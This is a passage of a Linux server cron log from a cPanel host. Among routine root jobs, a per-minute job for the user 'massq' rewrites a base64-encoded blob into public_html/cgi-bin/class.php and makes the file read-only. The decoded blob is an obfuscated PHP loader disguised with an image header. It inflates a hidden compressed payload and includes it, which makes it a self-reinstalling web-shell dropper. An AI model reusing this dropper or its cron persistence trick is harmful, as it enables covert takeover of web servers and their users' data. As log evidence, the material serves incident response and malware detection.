BF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:15:01 server CROND[3456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:16:01 server CROND[3575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:17:01 server CROND[3643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:18:01 server CROND[3790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:19:01 server CROND[3871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:20:01 server CROND[3934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:20:01 server CROND[3936]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:20:01 server CROND[3937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 13:20:01 server CROND[3939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:20:01 server CROND[3938]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 13:21:01 server CROND[4058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:22:01 server CROND[4141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:23:01 server CROND[4212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:24:01 server CROND[4357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:25:01 server CROND[4418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:25:01 server CROND[4419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:25:01 server CROND[4420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:26:01 server CROND[4524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:27:01 server CROND[4573]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 13:27:01 server CROND[4574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:28:01 server CROND[4618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:29:01 server CROND[4662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkp